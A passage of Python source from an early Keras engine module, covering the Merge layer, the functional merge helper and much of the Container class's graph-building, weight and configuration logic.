                shape_set.add(tuple(reduced_inputs_shapes[i]))
            if len(shape_set) > 1:
                raise Exception('"concat" mode can only merge layers with matching ' +
                                'output shapes except for the concat axis. ' +
                                'Layer shapes: %s' % (input_shapes))

    def call(self, inputs, mask=None):
        if type(inputs) is not list or len(inputs) <= 1:
            raise Exception('Merge must be called on a list of tensors '
                            '(at least 2). Got: ' + str(inputs))
        # case: "mode" is a lambda or function.
        if hasattr(self.mode, '__call__'):
            # TODO: consider making it possible to
            # pass custom arguments to lambda.
            arguments = {}
            return self.mode(inputs, **arguments)

        if self.mode == 'sum' or self.mode == 'ave':
            s = inputs[0]
            for i in range(1, len(inputs)):
                s += inputs[i]
            if self.mode == 'ave':
                s /= len(inputs)
            return s

        elif self.mode == 'concat':
            return K.concatenate(inputs, axis=self.concat_axis)

        elif self.mode == 'mul':
            s = inputs[0]
            for i in range(1, len(inputs)):
                s *= inputs[i]
            return s
        elif self.mode == 'max':
            s = inputs[0]
            for i in range(1, len(inputs)):
                s = K.maximum(s, inputs[i])
            return s
        elif self.mode == 'dot':
            l1 = inputs[0]
            l2 = inputs[1]
            output = K.batch_dot(l1, l2, self.dot_axes)
            return output

        elif self.mode == 'cos':
            l1 = inputs[0]
            l2 = inputs[1]
            denominator = K.sqrt(K.batch_dot(l1, l1, self.dot_axes) *
                                 K.batch_dot(l2, l2, self.dot_axes))
            denominator = K.maximum(denominator, K.epsilon())
            output = K.batch_dot(l1, l2, self.dot_axes) / denominator
            output = K.expand_dims(output, 1)
            return output
        else:
            raise Exception('Unknown merge mode.')

    def __call__(self, inputs, mask=None):
        '''We disable successive calls to __call__ for Merge layers.
        Although there is no technical obstacle to
        making it possible to __call__ a Merge instance many times
        (it is just a layer), it would make for a rather inelegant API.
        '''
        if type(inputs) is not list:
            raise Exception('Merge can only be called on a list of tensors, '
                            'not a single tensor. Received: ' + str(inputs))
        if self.built:
            raise Exception('A Merge layer cannot be used more than once, '
                            'please use ' +
                            'the "merge" function instead: ' +
                            '`merged_tensor = merge([tensor_1, tensor2])`.')

        all_keras_tensors = True
        for x in inputs:
            if not hasattr(x, '_keras_history'):
                all_keras_tensors = False
                break

        if all_keras_tensors:
            layers = []
            node_indices = []
            tensor_indices = []
            for x in inputs:
                layer, node_index, tensor_index = x._keras_history
                layers.append(layer)
                node_indices.append(node_index)
                tensor_indices.append(tensor_index)
            self._arguments_validation(layers, self.mode,
                                       self.concat_axis, self.dot_axes,
                                       node_indices, tensor_indices)
            self.built = True
            self.add_inbound_node(layers, node_indices, tensor_indices)

            outputs = self.inbound_nodes[-1].output_tensors
            return outputs[0]  # merge only returns a single tensor
        else:
            return self.call(inputs, mask)

    def get_output_shape_for(self, input_shape):
        assert type(input_shape) is list  # must have multiple input shape tuples
        # case: callable self._output_shape
        if hasattr(self.mode, '__call__'):
            if hasattr(self._output_shape, '__call__'):
                output_shape = self._output_shape(input_shape)
                return output_shape
            elif self._output_shape is not None:
                return (input_shape[0][0],) + tuple(self._output_shape)
            else:
                # TODO: consider shape auto-inference with TF
                raise Exception('The Merge layer ' + self.name +
                                ' has a callable `mode` argument, ' +
                                'and we cannot infer its output shape because ' +
                                'no `output_shape` argument was provided.' +
                                'Make sure to pass a shape tuple (or a callable) ' +
                                '`output_shape` to Merge.')
        # pre-defined merge modes
        input_shapes = input_shape
        if self.mode in ['sum', 'mul', 'ave', 'max']:
            # all tuples in input_shapes should be the same
            return input_shapes[0]
        elif self.mode == 'concat':
            output_shape = list(input_shapes[0])
            for shape in input_shapes[1:]:
                if output_shape[self.concat_axis] is None or shape[self.concat_axis] is None:
                    output_shape[self.concat_axis] = None
                    break
                output_shape[self.concat_axis] += shape[self.concat_axis]
            return tuple(output_shape)
        elif self.mode in ['dot', 'cos']:
            shape1 = list(input_shapes[0])
            shape2 = list(input_shapes[1])
            shape1.pop(self.dot_axes[0])
            shape2.pop(self.dot_axes[1])
            shape2.pop(0)
            output_shape = shape1 + shape2
            if len(output_shape) == 1:
                output_shape += [1]
            return tuple(output_shape)

    def compute_mask(self, inputs, mask=None):
        if mask is None or all([m is None for m in mask]):
            return None

        assert hasattr(mask, '__len__') and len(mask) == len(inputs)

        if self.mode in ['sum', 'mul', 'ave']:
            masks = [K.expand_dims(m, 0) for m in mask if m is not None]
            return K.all(K.concatenate(masks, axis=0), axis=0, keepdims=False)
        elif self.mode == 'concat':
            # Make a list of masks while making sure the dimensionality of each mask 
            # is the same as the corresponding input.
            masks = []
            for input_i, mask_i in zip(inputs, mask):
                if mask_i is None:
                    # Input is unmasked. Append all 1s to masks, but cast it to uint8 first
                    masks.append(K.cast(K.ones_like(input_i), 'uint8'))
                elif K.ndim(mask_i) < K.ndim(input_i):
                    # Mask is smaller than the input, expand it
                    masks.append(K.expand_dims(mask_i))
                else:
                    masks.append(mask_i)
            concatenated = K.concatenate(masks, axis=self.concat_axis)
            return K.all(concatenated, axis=-1, keepdims=False)
        elif self.mode in ['cos', 'dot']:
            return None
        elif hasattr(self.mode, '__call__'):
            if hasattr(self._output_mask, '__call__'):
                return self._output_mask(mask)
            else:
                return self._output_mask
        else:
            # this should have been caught earlier
            raise Exception('Invalid merge mode: {}'.format(self.mode))

    def get_config(self):
        py3 = sys.version_info[0] == 3

        if isinstance(self.mode, python_types.LambdaType):
            if py3:
                mode = marshal.dumps(self.mode.__code__).decode('raw_unicode_escape')
            else:
                mode = marshal.dumps(self.mode.func_code).decode('raw_unicode_escape')
            mode_type = 'lambda'
        elif callable(self.mode):
            mode = self.mode.__name__
            mode_type = 'function'
        else:
            mode = self.mode
            mode_type = 'raw'

        if isinstance(self._output_shape, python_types.LambdaType):
            if py3:
                output_shape = marshal.dumps(self._output_shape.__code__).decode('raw_unicode_escape')
            else:
                output_shape = marshal.dumps(self._output_shape.func_code).decode('raw_unicode_escape')
            output_shape_type = 'lambda'
        elif callable(self._output_shape):
            output_shape = self._output_shape.__name__
            output_shape_type = 'function'
        else:
            output_shape = self._output_shape
            output_shape_type = 'raw'

        return {'name': self.name,
                'mode': mode,
                'mode_type': mode_type,
                'concat_axis': self.concat_axis,
                'dot_axes': self.dot_axes,
                'output_shape': output_shape,
                'output_shape_type': output_shape_type}

    @classmethod
    def from_config(cls, config):
        mode_type = config.pop('mode_type')
        if mode_type == 'function':
            mode = globals()[config['mode']]
        elif mode_type == 'lambda':
            mode = marshal.loads(config['mode'].encode('raw_unicode_escape'))
            mode = python_types.FunctionType(mode, globals())
        else:
            mode = config['mode']

        output_shape_type = config.pop('output_shape_type')
        if output_shape_type == 'function':
            output_shape = globals()[config['output_shape']]
        elif output_shape_type == 'lambda':
            output_shape = marshal.loads(config['output_shape'].encode('raw_unicode_escape'))
            output_shape = python_types.FunctionType(output_shape, globals())
        else:
            output_shape = config['output_shape']

        config['mode'] = mode
        config['output_shape'] = output_shape
        return super(Merge, cls).from_config(config)


def merge(inputs, mode='sum', concat_axis=-1,
          dot_axes=-1, output_shape=None, output_mask=None, name=None):
    '''Functional merge, to apply to Keras tensors (NOT layers).
    Returns a Keras tensor.

    # Example usage:

    ```python
    tensor_a = Input(shape=(32,))
    tensor_b = Input(shape=(32,))
    merged_tensor = merge([tensor_a, tensor_b], mode='concat', concat_axis=1)
    ```

    # Arguments
        mode: string or lambda/function. If string, must be one
            of: 'sum', 'mul', 'concat', 'ave', 'cos', 'dot'.
            If lambda/function, it should take as input a list of tensors
            and return a single tensor.
        concat_axis: integer, axis to use in mode `concat`.
        dot_axes: integer or tuple of integers, axes to use in mode `dot` or `cos`.
        output_shape: shape tuple (tuple of integers), or lambda/function
            to compute output_shape (only if merge mode is a lambda/function).
            If the latter case, it should take as input a list of shape tuples
            (1:1 mapping to input tensors) and return a single shape tuple, including the
            batch size (same convention as the `get_output_shape_for` method of layers).
        node_indices: optional list of integers containing
            the output node index for each input layer
            (in case some input layers have multiple output nodes).
            will default to an array of 0s if not provided.
        tensor_indices: optional list of indices of output tensors
            to consider for merging
            (in case some input layer node returns multiple tensors).
    '''
    all_keras_tensors = True
    for x in inputs:
        if not hasattr(x, '_keras_history'):
            all_keras_tensors = False
            break
    if all_keras_tensors:
        input_layers = []
        node_indices = []
        tensor_indices = []
        for x in inputs:
            input_layer, node_index, tensor_index = x._keras_history
            input_layers.append(input_layer)
            node_indices.append(node_index)
            tensor_indices.append(tensor_index)
        merge_layer = Merge(input_layers, mode=mode,
                            concat_axis=concat_axis,
                            dot_axes=dot_axes,
                            output_shape=output_shape,
                            output_mask=output_mask,
                            node_indices=node_indices,
                            tensor_indices=tensor_indices,
                            name=name)
        return merge_layer.inbound_nodes[0].output_tensors[0]
    else:
        merge_layer = Merge(mode=mode,
                            concat_axis=concat_axis,
                            dot_axes=dot_axes,
                            output_shape=output_shape,
                            output_mask=output_mask,
                            name=name)
        return merge_layer(inputs)


class Container(Layer):
    '''TODO: dosctring

    # Properties
        name
        inputs
        outputs
        input_layers
        output_layers

        input_spec (list of class instances)
            each entry describes one required input:
                - ndim
                - dtype
        trainable (boolean)
        input_shape
        output_shape
        inbound_nodes: list of nodes
        outbound_nodes: list of nodes

        (supports_masking (boolean))

        trainable_weights (list of variables)
        non_trainable_weights (list of variables)
        regularizers (list of regularizers)
        constraints (list of tuples (weight, constraint))

    # Methods
        summary
        get_layer
        get_weights
        set_weights
        get_config
        get_output_shape_for

    # Class Methods
        from_config
    '''
    def __init__(self, input, output, name=None):
        # handle name argument
        if not name:
            prefix = self.__class__.__name__.lower()
            name = prefix + '_' + str(K.get_uid(prefix))
        self.name = name

        # Container-specific properties
        if type(input) in {list, tuple}:
            self.inputs = list(input)  # tensor or list of tensors
        else:
            self.inputs = [input]
        if type(output) in {list, tuple}:
            self.outputs = list(output)
        else:
            self.outputs = [output]

        # check for redundancy in inputs:
        inputs_set = set(self.inputs)
        if len(inputs_set) != len(self.inputs):
            raise Exception('The list of inputs passed to the model '
                            'is redundant. All inputs should only appear once.'
                            ' Found: ' + str(self.inputs))

        # list of initial layers (1 to 1 mapping with self.inputs,
        # hence the same layer might appear twice)
        self.input_layers = []
        # TODO: probably useless because input layers must be Input layers (node_indices = [0], tensor_indices = [0])
        self.input_layers_node_indices = []
        self.input_layers_tensor_indices = []
        # list of layers (1 to 1 mapping with self.inputs,
        # hence the same layer might appear twice)
        self.output_layers = []
        # TODO: probably useless
        self.output_layers_node_indices = []
        self.output_layers_tensor_indices = []
        # all layers in order of horizontal graph traversal.
        # Entries are unique. Includes input and output layers.
        self.layers = []

        # this is for performance optimization
        # when calling the Container on new inputs.
        # every time the Container is called on a set on input tensors,
        # we compute the output tensors,
        # output masks and output shapes in one pass,
        # then cache them here. When of of these output is queried later,
        # we retrieve it from there instead of recomputing it.
        self._output_mask_cache = {}
        self._output_tensor_cache = {}
        self._output_shape_cache = {}

        # arguments validation
        for x in self.inputs:
            # check that x is a Keras tensor
            if not hasattr(x, '_keras_history'):
                cls_name = self.__class__.__name__
                raise Exception('Input tensors to a ' + cls_name + ' ' +
                                'must be Keras tensors. Found: ' + str(x) +
                                ' (missing Keras metadata).')
            # check that x is an input tensor
            layer, node_index, tensor_index = x._keras_history
            if len(layer.inbound_nodes) > 1 or (layer.inbound_nodes and layer.inbound_nodes[0].inbound_layers):
                cls_name = self.__class__.__name__
                warnings.warn(cls_name + ' inputs must come from '
                              'a Keras Input layer, '
                              'they cannot be the output of '
                              'a previous non-Input layer. '
                              'Here, a tensor specified as '
                              'input to "' + self.name +
                              '" was not an Input tensor, '
                              'it was generated by layer ' +
                              layer.name + '.\n'
                              'Note that input tensors are '
                              'instantiated via `tensor = Input(shape)`.\n'
                              'The tensor that caused the issue was: ' +
                              str(x.name))
        for x in self.outputs:
            if not hasattr(x, '_keras_history'):
                cls_name = self.__class__.__name__
                raise Exception('Output tensors to a ' + cls_name + ' must be '
                                'Keras tensors. Found: ' + str(x))
        # build self.output_layers:
        for x in self.outputs:
            layer, node_index, tensor_index = x._keras_history
            self.output_layers.append(layer)
            self.output_layers_node_indices.append(node_index)
            self.output_layers_tensor_indices.append(tensor_index)

        # fill in the output mask cache
        masks = []
        for x in self.inputs:
            layer, node_index, tensor_index = x._keras_history
            node = layer.inbound_nodes[node_index]
            mask = node.output_masks[tensor_index]
            masks.append(mask)
        mask_cache_key = ','.join([str(id(x)) for x in self.inputs])
        mask_cache_key += '_' + ','.join([str(id(x)) for x in masks])
        masks = []
        for x in self.outputs:
            layer, node_index, tensor_index = x._keras_history
            node = layer.inbound_nodes[node_index]
            mask = node.output_masks[tensor_index]
            masks.append(mask)
        if len(masks) == 1:
            mask = masks[0]
        else:
            mask = masks
        self._output_mask_cache[mask_cache_key] = mask

        # build self.input_layers:
        for x in self.inputs:
            layer, node_index, tensor_index = x._keras_history
            # it's supposed to be an input layer, so only one node
            # and one tensor output
            assert node_index == 0
            assert tensor_index == 0
            self.input_layers.append(layer)
            self.input_layers_node_indices.append(node_index)
            self.input_layers_tensor_indices.append(tensor_index)

        # build self.input_names and self.output_names
        self.input_names = []
        self.output_names = []
        for layer in self.input_layers:
            self.input_names.append(layer.name)
        for layer in self.output_layers:
            self.output_names.append(layer.name)

        self.internal_input_shapes = [x._keras_shape for x in self.inputs]
        self.internal_output_shapes = [x._keras_shape for x in self.outputs]

        # container_nodes: set of nodes included in the graph
        # (not all nodes included in the layers are relevant to the current graph).
        container_nodes = set()  # ids of all nodes relevant to the Container
        nodes_depths = {}  # map {node: depth value}
        layers_depths = {}  # map {layer: depth value}
        layer_indices = {}  # map {layer: index in traversal}

        def make_node_marker(node, depth):
            return str(id(node)) + '-' + str(depth)

        def build_map_of_graph(tensor, seen_nodes=set(), depth=0,
                               layer=None, node_index=None, tensor_index=None):
            '''This recursively updates the maps nodes_depths,
            layers_depths and the set container_nodes.
            Does not try to detect cycles in graph (TODO?)

            # Arguments
                tensor: some tensor in a graph
                seen_nodes: set of node ids ("{layer.name}_ib-{node_index}")
                    of nodes seen so far. Useful to prevent infinite loops.
                depth: current depth in the graph (0 = last output).
                layer: layer from which `tensor` comes from. If not provided,
                    will be obtained from `tensor._keras_history`.
                node_index: node index from which `tensor` comes from.
                tensor_index: tensor_index from which `tensor` comes from.
            '''
            if not layer or node_index is None or tensor_index is None:
                layer, node_index, tensor_index = tensor._keras_history
            node = layer.inbound_nodes[node_index]

            # prevent cycles
            seen_nodes.add(make_node_marker(node, depth))

            node_key = layer.name + '_ib-' + str(node_index)
            # update container_nodes
            container_nodes.add(node_key)
            # update nodes_depths
            node_depth = nodes_depths.get(node)
            if node_depth is None:
                nodes_depths[node] = depth
            else:
                nodes_depths[node] = max(depth, node_depth)
            # update layers_depths
            previously_seen_depth = layers_depths.get(layer)
            if previously_seen_depth is None:
                current_depth = depth
            else:
                current_depth = max(depth, previously_seen_depth)
            layers_depths[layer] = current_depth
            if layer not in layer_indices:
                layer_indices[layer] = len(layer_indices)

            # propagate to all previous tensors connected to this node
            for i in range(len(node.inbound_layers)):
                x = node.input_tensors[i]
                layer = node.inbound_layers[i]
                node_index = node.node_indices[i]
                tensor_index = node.tensor_indices[i]
                next_node = layer.inbound_nodes[node_index]
                # use node_marker to prevent cycles
                node_marker = make_node_marker(next_node, current_depth + 1)
                if node_marker not in seen_nodes:
                    build_map_of_graph(x, seen_nodes, current_depth + 1,
                                       layer, node_index, tensor_index)

        for x in self.outputs:
            seen_nodes = set()
            build_map_of_graph(x, seen_nodes, depth=0)

        # build a map {depth: list of nodes with this depth}
        nodes_by_depth = {}
        for node, depth in nodes_depths.items():
            if depth not in nodes_by_depth:
                nodes_by_depth[depth] = []
            nodes_by_depth[depth].append(node)

        # build a map {depth: list of layers with this depth}
        layers_by_depth = {}
        for layer, depth in layers_depths.items():
            if depth not in layers_by_depth:
                layers_by_depth[depth] = []
            layers_by_depth[depth].append(layer)

        # get sorted list of layer depths
        depth_keys = list(layers_by_depth.keys())
        depth_keys.sort(reverse=True)

        # set self.layers and self.layers_by_depth
        layers = []
        for depth in depth_keys:
            layers_for_depth = layers_by_depth[depth]
            # container.layers needs to have a deterministic order:
            # here we order them by traversal order
            if K.legacy_weight_ordering():
                layers_for_depth.sort(key=lambda x: x.name)
            else:
                layers_for_depth.sort(key=lambda x: layer_indices[x])
            for layer in layers_for_depth:
                layers.append(layer)
        self.layers = layers
        self.layers_by_depth = layers_by_depth

        # get sorted list of node depths
        depth_keys = list(nodes_by_depth.keys())
        depth_keys.sort(reverse=True)

        # check that all tensors required are computable.
        # computable_tensors: all tensors in the graph
        # that can be computed from the inputs provided
        computable_tensors = []
        for x in self.inputs:
            computable_tensors.append(x)

        layers_with_complete_input = []  # to provide a better error msg
        for depth in depth_keys:
            for node in nodes_by_depth[depth]:
                layer = node.outbound_layer
                if layer:
                    for x in node.input_tensors:
                        if x not in computable_tensors:
                            raise Exception(
                                'Graph disconnected: '
                                'cannot obtain value for tensor ' +
                                str(x) + ' at layer "' + layer.name + '". '
                                'The following previous layers '
                                'were accessed without issue: ' +
                                str(layers_with_complete_input))
                    for x in node.output_tensors:
                        computable_tensors.append(x)
                    layers_with_complete_input.append(layer.name)

        # set self.nodes and self.nodes_by_depth
        self.container_nodes = container_nodes
        self.nodes_by_depth = nodes_by_depth

        # ensure name unicity, which will be crucial for serialization
        # (since serialized nodes refer to layers by their name).
        all_names = [layer.name for layer in self.layers]
        for name in all_names:
            if all_names.count(name) != 1:
                raise Exception('The name "' + name + '" is used ' +
                                str(all_names.count(name)) +
                                ' times in the model. ' +
                                'All layer names should be unique.')

        # layer parameters
        # the new container starts with a single inbound node
        # for its inputs, and no outbound nodes.
        self.outbound_nodes = []  # will be appended to by future calls to __call__
        self.inbound_nodes = []  # will be appended to below, and by future calls to __call__
        # create the node linking internal inputs to internal outputs
        Node(outbound_layer=self,
             inbound_layers=[],
             node_indices=[],
             tensor_indices=[],
             input_tensors=self.inputs,
             output_tensors=self.outputs,
             # no container-level masking for now
             input_masks=[None for _ in self.inputs],
             output_masks=[None for _ in self.outputs],
             input_shapes=[x._keras_shape for x in self.inputs],
             output_shapes=[x._keras_shape for x in self.outputs])
        self.built = True
        self.supports_masking = False
        # the following are implemented as property functions:
        # self.constraints
        # self.regularizers
        # self.trainable_weights
        # self.non_trainable_weights
        # self.input_spec

    def get_layer(self, name=None, index=None):
        '''Returns a layer based on either its name (unique)
        or its index in the graph. Indices are based on
        order of horizontal graph traversal (bottom-up).

        # Arguments
            name: string, name of layer.
            index: integer, index of layer.

        # Returns
            A layer instance.
        '''
        # it would be unreliable to build a dictionary
        # based on layer names, because names can potentially
        # be changed at any point by the user
        # without the container being notified of it
        if index:
            if len(self.layers) <= index:
                raise Exception('Was asked to retrieve layer at index ' +
                                str(index) + ' but model only has ' +
                                str(len(self.layers)) + ' layers.')
        else:
            assert name, 'Provide either a layer name or layer index.'
        layer = None
        for layer in self.layers:
            if layer.name == name:
                return layer
        if not layer:
            raise Exception('No such layer: ' + name)

    @property
    def updates(self):
        updates = []
        for layer in self.layers:
            if hasattr(layer, 'updates'):
                updates += layer.updates
        return updates

    @property
    def stateful(self):
        return any([(hasattr(layer, 'stateful') and layer.stateful) for layer in self.layers])

    def reset_states(self):
        for layer in self.layers:
            if hasattr(layer, 'reset_states') and getattr(layer, 'stateful', False):
                layer.reset_states()

    @property
    def state_updates(self):
        '''Returns the `updates` from all layers that are
        stateful.  This is useful for separating training updates and
        state updates, e.g. when we need to update a layer's internal state
        during prediction.
        '''
        state_updates = []
        for layer in self.layers:
            if getattr(layer, 'stateful', False):
                if hasattr(layer, 'updates'):
                    state_updates += layer.updates
        return state_updates

    @property
    def constraints(self):
        cons = {}
        for layer in self.layers:
            for key, value in layer.constraints.items():
                if key in cons:
                    raise Exception('Received multiple constraints '
                                    'for one weight tensor: ' + str(key))
                cons[key] = value
        return cons

    @property
    def regularizers(self):
        regs = []
        for layer in self.layers:
            regs += layer.regularizers
        return regs

    @property
    def trainable_weights(self):
        weights = []
        for layer in self.layers:
            weights += layer.trainable_weights
        return weights

    @property
    def non_trainable_weights(self):
        weights = []
        for layer in self.layers:
            weights += layer.non_trainable_weights
        return weights

    def get_weights(self):
        '''Returns the weights of the model,
        as a flat list of Numpy arrays.
        '''
        weights = []
        for layer in self.layers:
            weights += layer.weights
        return K.batch_get_value(weights)

    def set_weights(self, weights):
        '''Sets the weights of the model.
        The `weights` argument should be a list
        of Numpy arrays with shapes and types matching
        the output of `model.get_weights()`.
        '''
        tuples = []
        for layer in self.layers:
            nb_param = len(layer.weights)
            layer_weights = weights[:nb_param]
            for sw, w in zip(layer.weights, layer_weights):
                tuples.append((sw, w))
            weights = weights[nb_param:]
        K.batch_set_value(tuples)

    @property
    def input_spec(self):
        specs = []
        for layer in getattr(self, 'input_layers', []):
            if layer.input_spec is None:
                specs.append(None)
            else:
                if type(layer.input_spec) is not list:
                    raise Exception('Layer ' + layer.name +
                                    ' has an input_spec attribute that '
                                    'is not a list. We expect a list. '
                                    'Found input_spec = ' +
                                    str(layer.input_spec))
                specs += layer.input_spec
        return specs

    @property
    def uses_learning_phase(self):
        '''True if any layer in the graph uses it.
        '''
        layers_learning_phase = any([layer.uses_learning_phase for layer in self.layers])
        regs_learning_phase = any([reg.uses_learning_phase for reg in self.regularizers])
        return layers_learning_phase or regs_learning_phase

    def call(self, input, mask=None):
        '''`call` just reapplies all ops in the graph to the new inputs
        (e.g. build a new computational graph from the provided inputs).

        It is callable on non-Keras tensors.

        # Arguments
            input: a tensor or list of tensors.
            mask: a mask or list of masks. A mask can be
                either a tensor or None (no mask).

        # Returns
            A tensor if there is a single output, or
            a list of tensors if there are more than one outputs.
        '''
        inputs = to_list(input)
        if mask is None:
            masks = [None for _ in range(len(inputs))]
        else:
            masks = to_list(mask)
        cache_key = ','.join([str(id(x)) for x in inputs])
        cache_key += '_' + ','.join([str(id(x)) for x in masks])
        if cache_key in self._output_tensor_cache:
            return self._output_tensor_cache[cache_key]
        else:
            output_tensors, output_masks, output_shapes = self.run_internal_graph(inputs, masks)
            return output_tensors

    def compute_mask(self, input, mask):
        inputs = to_list(input)
        if mask is None:
            masks = [None for _ in range(len(inputs))]
        else:
            masks = to_list(mask)
        cache_key = ','.join([str(id(x)) for x in inputs])
        cache_key += '_' + ','.join([str(id(x)) for x in masks])
        if cache_key in self._output_mask_cache:
            return self._output_mask_cache[cache_key]
        else:
            output_tensors, output_masks, output_shapes = self.run_internal_graph(inputs, masks)
            return output_masks

    def get_output_shape_for(self, input_shape):
        input_shapes = to_list(input_shape)
        if len(input_shapes) != len(self.input_layers):
            raise Exception('Invalid input_shape argument ' +
                            str(input_shape) + ': model has ' +
                            str(len(self.input_layers)) + ' tensor inputs.')

        cache_key = ','.join([str(x) for x in input_shapes])
        if cache_key in self._output_shape_cache:
            output_shapes = self._output_shape_cache[cache_key]
            if type(output_shapes) is list and len(output_shapes) == 1:
                return output_shapes[0]
            return output_shapes
        else:
            # bad luck, have to run the graph manually
            layers_to_output_shapes = {}
            for i in range(len(input_shapes)):
                layer = self.input_layers[i]
                input_shape = input_shapes[i]
                # it's an input layer: get_output_shape_for is identity,
                # and there is only one node and one tensor output.
                shape_key = layer.name + '_0_0'
                layers_to_output_shapes[shape_key] = input_shape

            depth_keys = list(self.nodes_by_depth.keys())
            depth_keys.sort(reverse=True)
            # iterate over nodes, by depth level
            if len(depth_keys) > 1:
                for depth in depth_keys:
                    nodes = self.nodes_by_depth[depth]
                    for node in nodes:
                        # this is always a single layer, never a list
                        layer = node.outbound_layer
                        if layer in self.input_layers:
                            # we've already covered the input layers
                            # a few lines above
                            continue
                        # potentially redundant list,
                        # same size of node.input_tensors
                        input_shapes = []
                        for j in range(len(node.inbound_layers)):
                            inbound_layer = node.inbound_layers[j]
                            node_index = node.node_indices[j]
                            tensor_index = node.tensor_indices[j]
                            shape_key = inbound_layer.name + '_%s_%s' % (node_index, tensor_index)
                            input_shape = layers_to_output_shapes[shape_key]
                            input_shapes.append(input_shape)

                        if len(input_shapes) == 1:
                            output_shape = layer.get_output_shape_for(input_shapes[0])
                        else:
                            output_shape = layer.get_output_shape_for(input_shapes)

                        output_shapes = to_list(output_shape)
                        node_index = layer.inbound_nodes.index(node)
                        for j in range(len(output_shapes)):
                            shape_key = layer.name + '_%s_%s' % (node_index, j)
                            layers_to_output_shapes[shape_key] = output_shapes[j]

            # read final output shapes from layers_to_output_shapes
            output_shapes = []
            output_shape_keys = []
            for i in range(len(self.output_layers)):
                layer = self.output_layers[i]
                node_index = self.output_layers_node_indices[i]
                tensor_index = self.output_layers_tensor_indices[i]
                shape_key = layer.name + '_%s_%s' % (node_index, tensor_index)
                output_shape_keys.append(shape_key)

            for i, key in enumerate(output_shape_keys):
                assert key in layers_to_output_shapes
                output_shapes.append(layers_to_output_shapes[key])
            # store in cache
            self._output_shape_cache[cache_key] = output_shapes
            if type(output_shapes) is list and len(output_shapes) == 1:
                return output_shapes[0]
            return output_shapes

    def run_internal_graph(self, inputs, masks=None):
        '''Computes output tensors for new inputs.

        # Note:
            - expects `inputs` to be a list (potentially with 1 element).
            - can be run on non-Keras tensors.

        # Arguments
            inputs: list of tensors
            masks: list of masks (tensors or None).

        # Returns
            Three lists: output_tensors, output_masks, output_shapes
        '''
        assert type(inputs) is list
        if masks is None:
            masks = [None for _ in range(len(inputs))]
        assert type(masks) is list

        # dictionary mapping reference tensors to tuples (computed tensor, compute mask)
        # we assume a 1:1 mapping from tensor to mask
        # TODO: raise exception when a .compute_mask does not return a list the same size as call
        tensor_map = {}
        for x, y, mask in zip(self.inputs, inputs, masks):
            tensor_map[str(id(x))] = (y, mask)

        depth_keys = list(self.nodes_by_depth.keys())
        depth_keys.sort(reverse=True)
        for depth in depth_keys:
            nodes = self.nodes_by_depth[depth]
            for node in nodes:
                # this is always a single layer, never a list
                layer = node.outbound_layer

                reference_input_tensors = node.input_tensors
                reference_output_tensors = node.output_tensors

                # if all previous input tensors are available in tensor_map,
                # then call node.inbound_layer on them
                computed_data = []  # list of tuples (input, mask)
                for x in reference_input_tensors:
                    if str(id(x)) in tensor_map:
                        computed_data.append(tensor_map[str(id(x))])
                if len(computed_data) == len(reference_input_tensors):
                    # call layer
                    if len(computed_data) == 1:
                        computed_tensor, computed_mask = computed_data[0]
                        output_tensors = to_list(layer.call(computed_tensor, computed_mask))
                        output_masks = to_list(layer.compute_mask(computed_tensor, computed_mask))
                        computed_tensors = [computed_tensor]
                        computed_masks = [computed_mask]
                    else:
                        computed_tensors = [x[0] for x in computed_data]
                        computed_masks = [x[1] for x in computed_data]
                        output_tensors = to_list(layer.call(computed_tensors, computed_masks))
                        output_masks = to_list(layer.compute_mask(computed_tensors, computed_masks))

                    # update _keras_shape
                    if all([hasattr(x, '_keras_shape') for x in computed_tensors]):
                        if len(computed_tensors) == 1:
                            shapes = to_list(layer.get_output_shape_for(computed_tensors[0]._keras_shape))
                            uses_learning_phase = computed_tensors[0]._uses_learning_phase or layer.uses_learning_phase
                        else:
                            shapes = to_list(layer.get_output_shape_for([x._keras_shape for x in computed_tensors]))
                            uses_learning_phase = any([x._uses_learning_phase for x in computed_tensors]) or layer.uses_learning_phase
                        for x, s in zip(output_tensors, shapes):
                            x._keras_shape = s
                            x._uses_learning_phase = uses_learning_phase

                    # update tensor_map
                    for x, y, mask in zip(reference_output_tensors, output_tensors, output_masks):
                        tensor_map[str(id(x))] = (y, mask)

        output_tensors = []
        output_masks = []
        output_shapes = []
        for x in self.outputs:
            # todo: better error msg
            assert str(id(x)) in tensor_map, 'Could not compute output ' + str(x)
            tensor, mask = tensor_map[str(id(x))]
            if hasattr(tensor, '_keras_shape') and output_shapes is not None:
                shape = tensor._keras_shape
                output_shapes.append(shape)
            else:
                output_shapes = None
            output_tensors.append(tensor)
            output_masks.append(mask)

        # update cache; keys are based on ids on input tensors and inputs masks
        cache_key = ','.join([str(id(x)) for x in inputs])
        cache_key += '_' + ','.join([str(id(x)) for x in masks])

        if len(output_tensors) == 1:
            output_tensors = output_tensors[0]
            self._output_tensor_cache[cache_key] = output_tensors
        else:
            self._output_tensor_cache[cache_key] = output_tensors

        if len(output_masks) == 1:
            output_masks = output_masks[0]
            self._output_mask_cache[cache_key] = output_masks
        else:
            self._output_mask_cache[cache_key] = output_masks

        if output_shapes is not None:
            input_shapes = [x._keras_shape for x in inputs]
            cache_key = ','.join([str(x) for x in input_shapes])
            if len(output_shapes) == 1:
                output_shapes = output_shapes[0]
                self._output_shape_cache[cache_key] = output_shapes
            else:
                self._output_shape_cache[cache_key] = output_shapes
        return output_tensors, output_masks, output_shapes

    def get_config(self):
        config = {
            'name': self.name,
        }
        node_conversion_map = {}
        for layer in self.layers:
            if issubclass(layer.__class__, Container):
                # containers start with a pre-existing node
                # linking their input to output
                kept_nodes = 1
            else:
                kept_nodes = 0
            for original_node_index, node in enumerate(layer.inbound_nodes):
                node_key = layer.name + '_ib-' + str(original_node_index)
                if node_key in self.container_nodes:
                    node_conversion_map[node_key] = kept_nodes
                    kept_nodes += 1
        layer_configs = []
        for layer in self.layers:  # from the earliest layers on
            layer_class_name = layer.__class__.__name__
            layer_config = layer.get_config()
            filtered_inbound_nodes = []
            for original_node_index, node in enumerate(layer.inbound_nodes):
                node_key = layer.name + '_ib-' + str(original_node_index)
                if node_key in self.container_nodes:
                    # the node is relevant to the model:
                    # add to filtered_inbound_nodes
                    if node.inbound_layers:
                        node_data = []
                        for i in range(len(node.inbound_layers)):
                            inbound_layer = node.inbound_layers[i]
                            node_index = node.node_indices[i]
                            tensor_index = node.tensor_indices[i]
                            node_key = inbound_layer.name + '_ib-' + str(node_index)
                            # assert node_key in node_conversion_map, 'Node never seen before: %s' % node_key
                            new_node_index = node_conversion_map.get(node_key, 0)
                            node_data.append([inbound_layer.name,
                                              new_node_index,
                                              tensor_index])
